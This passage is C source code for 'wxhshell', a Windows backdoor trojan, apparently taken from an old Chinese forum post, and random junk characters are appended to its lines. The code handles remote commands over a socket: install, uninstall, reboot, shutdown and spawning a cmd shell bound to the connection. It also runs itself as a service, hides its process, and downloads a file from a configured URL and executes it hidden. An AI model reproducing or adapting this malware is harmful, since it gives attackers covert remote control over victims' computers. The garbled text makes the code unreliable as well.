    switch(cmd[0]) { {CdQ)|  
  Zi/ tax9C  
  // 帮助 u $O` \=  
  case '?': { *c3(,Bmw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5_!s\5  
    break; #rD0`[pz  
  } clV3x` z  
  // 安装 db -h=L|  
  case 'i': { C0(?f[/(M  
    if(Install()) H|JPqBNRh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TF R8  
    else G)t_;iNL|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o<cg9  
    break; 1DLAfsLlj  
    } Q8. =w  
  // 卸载 q!iS Y  
  case 'r': { LDc?/ Z1  
    if(Uninstall()) ~.7/o0'+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )31{.c/  
    else KPHtD4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K2|2Ks_CS  
    break; |Tv}leJF  
    } Xt} 4B#  
  // 显示 wxhshell 所在路径 3dheT}XV?p  
  case 'p': { UTwXN |'|  
    char svExeFile[MAX_PATH]; !?)ky `S3  
    strcpy(svExeFile,"\n\r"); VokIc&!Uz  
      strcat(svExeFile,ExeFile); <;kcy :s  
        send(wsh,svExeFile,strlen(svExeFile),0); Sqn|  
    break; /<C}v~r  
    } oN({X/P2j  
  // 重启 sE:~+C6o:  
  case 'b': { H{ M7_1T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *hWpJEV  
    if(Boot(REBOOT)) \no6]xN;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }$%j}F{  
    else { BA(erf>  
    closesocket(wsh); GBeWF-`B  
    ExitThread(0); *uW l 804  
    } 7qsu0 .[d  
    break; 2~`vV'K  
    } w.X MyHj  
  // 关机 (w[#h9j  
  case 'd': { Aqy y\G;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yzyBr1s  
    if(Boot(SHUTDOWN)) RD6n1Wb(@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cfs2tN  
    else { vG'6?%38  
    closesocket(wsh);  3-~*  
    ExitThread(0); nwS @r  
    } u1 Z;n  
    break; kx{LY`pY  
    } u:]c  
  // 获取shell QQI,$HId  
  case 's': { $|"Y|3&X  
    CmdShell(wsh); ZNDn! Sj  
    closesocket(wsh); +}VaQ8ti4  
    ExitThread(0); OCW0$V6;D-  
    break; b!p]\B!  
  } |qs8( 5z0  
  // 退出 r{cmw`WA/P  
  case 'x': { DplS\}='s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [x%[N)U3  
    CloseIt(wsh); r{>`"  
    break; `uP:UQ9S  
    } =Gv*yR*]t  
  // 离开 ~%chF/H  
  case 'q': { z`}z7e'>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6.Jvqn  
    closesocket(wsh); & zR\Rmpt  
    WSACleanup(); _sqj~|K  
    exit(1); &L[i"1a  
    break; +$}3=n34)  
        } 5bB\i79$  
  } &2,3R}B/  
  } .}9Lj  
' kOkwGf!  
  // 提示信息 ~U r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X;bHlA-g  
} y'5`Uo?\",  
  } ]z#+3DaH  
6o0}7T%6  
  return; &t~NR$@  
} vX@T Zet0  
/S{U|GBB%r  
// shell模块句柄 6& (bL<8b  
int CmdShell(SOCKET sock) dAWB.#  
{ l|81_BC"  
STARTUPINFO si; T095]*Hm  
ZeroMemory(&si,sizeof(si)); ^GpLl   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @cr/&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O llS  
PROCESS_INFORMATION ProcessInfo; mv,5Q6!  
char cmdline[]="cmd"; 29AE B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C547})  
  return 0; t zShds  
} :5sjF:@  
Q7.jSL6  
// 自身启动模式 2YDD`:R  
int StartFromService(void) x2,;ar\D  
{ Cnr=1E=  
typedef struct vM'!WVs  
{ 6:~<L!`&  
  DWORD ExitStatus; Sse%~:FL  
  DWORD PebBaseAddress; ExhK\J  
  DWORD AffinityMask; g`z;:ao  
  DWORD BasePriority; E~@&&d U8  
  ULONG UniqueProcessId; 2qdc$I&$  
  ULONG InheritedFromUniqueProcessId; sYhHh$mwA  
}   PROCESS_BASIC_INFORMATION; GbC@ |  
GrUpATIx  
PROCNTQSIP NtQueryInformationProcess; P{L S +.  
2 g\O/oz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *knN?`(x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hg %iv%1B'  
8J#xB  
  HANDLE             hProcess; 0&u=(;Dr\  
  PROCESS_BASIC_INFORMATION pbi; bY-koJo  
;Fo7 -kK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Yy~xNj5OS  
  if(NULL == hInst ) return 0; ?W_8 X2(`  
S{RRlR6Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,.kmUd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QOX'ZAB`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <5E)6c_W)  
:>}7^1I  
  if (!NtQueryInformationProcess) return 0; k8\ KCKql  
3@nIoN'z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q<NQ9lX  
  if(!hProcess) return 0; &pQ[(|=(  
h3bQ<?m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7H*,HZc@=  
Ee_?aG e&  
  CloseHandle(hProcess); /6rQ.+|).  
h<V,0sZ&:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g(auB/0s  
if(hProcess==NULL) return 0; 'qUM38s  
9M^5<8:  
HMODULE hMod; @~Ys*]4UE  
char procName[255]; LF `]=.Q  
unsigned long cbNeeded; JMk2OK {0  
u -)ED  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QLU <%w:B  
2ql)]Skg6  
  CloseHandle(hProcess); k`o8(zPb  
:_<&LO]Q  
if(strstr(procName,"services")) return 1; // 以服务启动 H | C3{9  
3dz{" hV  
  return 0; // 注册表启动 A;5_/ 2  
} H s$HeAp;  
n*ROlCxV  
// 主模块 _u""v   
int StartWxhshell(LPSTR lpCmdLine) ,na}' A@a`  
{ yN)(MmX'1  
  SOCKET wsl; 2}7_Y6RS*  
BOOL val=TRUE; eIy:5/s  
  int port=0; fs yVu|G  
  struct sockaddr_in door; w_V A:]j4  
s$zm)y5  
  if(wscfg.ws_autoins) Install(); Y4w]jIv  
fN@ZJ~F%j  
port=atoi(lpCmdLine); P* i 'uN  
Zn0a)VH%  
if(port<=0) port=wscfg.ws_port; [MQ* =*  
kOdA8X RY  
  WSADATA data; "N ">RjJ"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U'msHF  
T{2)d]Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !Pz#czo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W}N7jPO}  
  door.sin_family = AF_INET; #6 ni~d&0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $IS!GS&:  
  door.sin_port = htons(port); C~ A`h=A<  
?hAO-*);  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #'},/Lm@  
closesocket(wsl); =>lX brJ  
return 1; ; wxmSX9  
} JU;`c>8=)  
n!AW9]  
  if(listen(wsl,2) == INVALID_SOCKET) { q6*i/"mN*  
closesocket(wsl); $UdBZT-  
return 1; %sPze]  
} wd32q7lGo1  
  Wxhshell(wsl); kGs\"zZM  
  WSACleanup(); N@O e[X8  
~NPhVlT  
return 0; 6`iYIXnz  
cHVJ7yAZI  
} :/%Y"0  
qdy(C^(fa  
// 以NT服务方式启动 x_I*6?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #_x5-?3  
{ 3UmkFK<  
DWORD   status = 0; "wcw`TsK  
  DWORD   specificError = 0xfffffff; ji>LBbnHdE  
]b]J)dDI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; glc<(V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6FJ*eWPC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,\X ! :y~  
  serviceStatus.dwWin32ExitCode     = 0; JWaWOk(t=?  
  serviceStatus.dwServiceSpecificExitCode = 0; '^C *%"I]  
  serviceStatus.dwCheckPoint       = 0; Ywv\9KL  
  serviceStatus.dwWaitHint       = 0; +."|Y3a  
hr&&b3W3p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  DAiS|x  
  if (hServiceStatusHandle==0) return; <,0/BMz  
jjQDw=6  
status = GetLastError(); q9p31b3  
  if (status!=NO_ERROR) M9o/6  
{ fzw:[z:%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X`EVjK  
    serviceStatus.dwCheckPoint       = 0; 7]{t^*  
    serviceStatus.dwWaitHint       = 0; nS h~ mP  
    serviceStatus.dwWin32ExitCode     = status; CbW[_\  
    serviceStatus.dwServiceSpecificExitCode = specificError; [&4+ <Nl'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K!qOO  
    return; ]" e'z  
  } JIw?]xa*  
iLJ@oM;2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iPV-w_HQ  
  serviceStatus.dwCheckPoint       = 0; &]LpGl  
  serviceStatus.dwWaitHint       = 0; Hc@_@G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3uxf n=E  
} %FM26^  
ab2Cn|F  
// 处理NT服务事件,比如:启动、停止 #"~\/sb   
VOID WINAPI NTServiceHandler(DWORD fdwControl) G u_\ySV/y  
{ @k)J i!7  
switch(fdwControl) P7zUf  
{ u?fM.=/N  
case SERVICE_CONTROL_STOP: Dq<DW2It>  
  serviceStatus.dwWin32ExitCode = 0; 0G-obHe0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9G2rVk  
  serviceStatus.dwCheckPoint   = 0; EI*~VFx  
  serviceStatus.dwWaitHint     = 0; P qC#[0Qy  
  { ~]RfOpq^w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?< ^8,H  
  } i/n ee_  
  return; *k_<|{>j(  
case SERVICE_CONTROL_PAUSE: ZO/Jf Jn~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _ q1\8y  
  break; Ipq0 1 +  
case SERVICE_CONTROL_CONTINUE: ) 3"!Q+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X<.l(9$  
  break; 0,)2\`99#k  
case SERVICE_CONTROL_INTERROGATE: VD@$y^!H  
  break;  !QvmzuK  
}; TfkGkVR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %qo.n v  
} J^CAQfcx  
h!JyFc  
// 标准应用程序主函数 %AtT(G(n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~Gmt,l! b  
{ spm)X-[1  
,j`48S@  
// 获取操作系统版本 oy#(]K3`O  
OsIsNt=GetOsVer(); QICxSk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j;E$7QH[  
&+@`Si=  
  // 从命令行安装 D iOd!8Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); H[nBNz)C  
;` Xm?N  
  // 下载执行文件 %z1^  
if(wscfg.ws_downexe) { ?Y -;781  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T30fp  
  WinExec(wscfg.ws_filenam,SW_HIDE); m:`M&Xs&  
} [jlum>K  
%X.g+uu  
if(!OsIsNt) { "P@ SR`v#  
// 如果时win9x,隐藏进程并且设置为注册表启动 w0Nm.=I-   
HideProc(); bo90;7EK8  
StartWxhshell(lpCmdLine); xR%NiYNQz  
} 2[3t7C  
else >itabG-&  
  if(StartFromService()) ps:`rVQ7  
  // 以服务方式启动 13Z,;YW  
  StartServiceCtrlDispatcher(DispatchTable); _*?qOmf=  
else O9d"Z$~n=j  
  // 普通方式启动 #k)z5vZ$h  
  StartWxhshell(lpCmdLine); wG7>2*(  
@:PMb Ub  
return 0; :x[()J~N  
}
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只看该作者 1 发表于: 2006-10-10
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